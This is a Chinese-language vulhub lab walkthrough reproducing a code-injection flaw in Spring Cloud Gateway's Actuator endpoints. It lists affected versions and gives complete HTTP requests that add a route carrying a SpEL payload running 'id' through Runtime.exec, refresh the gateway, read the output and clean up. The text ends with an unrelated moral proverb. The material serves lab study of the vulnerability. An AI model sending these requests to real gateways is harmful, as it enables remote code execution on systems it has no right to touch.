Spring Cloud Gateway 提供了一个库,用于在 Spring WebFlux 之上构建 API 网关。
在 3.1.0 和 3.0.6 之前的版本中使用 Spring Cloud Gateway 的应用程序在启用、暴露和不安全的 Gateway Actuator 端点时容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本
更新vulhub
git pull
执行以下命令启动使用 Spring Cloud Gateway 3.1.0 的服务器
docker-compose up -d
1.发送以下请求以添加包含恶意 SpEL 表达式的路由器
POST /actuator/gateway/routes/3tefanie HTTP/1.1 Host: your_ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329 { "id": "3tefanie", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" }
2.刷新网关,SpEL 表达式将在此时执行
POST /actuator/gateway/refresh HTTP/1.1 Host: your_ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
3.发送以下请求查看执行结果
GET /actuator/gateway/routes/3tefanie HTTP/1.1 Host: your_ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
4.发送一个 DELETE 请求来删除我们的恶意路由、
DELETE /actuator/gateway/routes/3tefanie HTTP/1.1 Host: your_ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close
5.刷新网关
POST /actuator/gateway/refresh HTTP/1.1 Host: your_ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
【自己觉得不好的事情,就干脆不要有第一次,一次也不要做,一小步也不能走出去,要不然回头来看,吃亏吃苦的还是自己。】